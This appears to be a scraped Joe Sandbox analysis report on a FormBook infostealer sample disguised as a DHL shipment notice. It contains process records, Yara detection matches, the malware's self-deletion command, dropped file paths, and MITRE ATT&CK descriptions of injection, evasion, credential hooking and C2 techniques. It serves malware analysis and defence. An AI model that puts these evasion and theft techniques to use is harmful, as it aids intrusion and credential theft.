Commandline:	C:\Windows\SysWOW64\svchost.exe
Imagebase:	0x2f0000
File size:	44520 bytes
MD5 hash:	FA6C268A5B5BDA067A901764D203D433
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000011.00000002.513829968.0000000002E30000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000011.00000002.513829968.0000000002E30000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000011.00000002.513829968.0000000002E30000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000011.00000002.512812495.0000000002380000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000011.00000002.512812495.0000000002380000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000011.00000002.512812495.0000000002380000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000011.00000002.513722693.0000000002E00000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000011.00000002.513722693.0000000002E00000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000011.00000002.513722693.0000000002E00000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Analysis Process: cmd.exePID: 6308, Parent PID: 2360

General

Target ID:	19
Start time:	16:09:56
Start date:	13/05/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del "C:\Users\user\AppData\Local\Temp\aeokw.exe"
Imagebase:	0x1190000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exePID: 1524, Parent PID: 6308

General

Target ID:	20
Start time:	16:09:57
Start date:	13/05/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff647620000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

⊘No disassembly

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	BIOS, MBR, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report DHL SHIPMENT NOTIFICATION 1146789443.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: FormBook

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\1f1tfctqz7e9

C:\Users\user\AppData\Local\Temp\aeokw.exe

C:\Users\user\AppData\Local\Temp\fnnok

C:\Users\user\AppData\Local\Temp\nsk2671.tmp

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Windows Analysis Report
DHL SHIPMENT NOTIFICATION 1146789443.exe

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre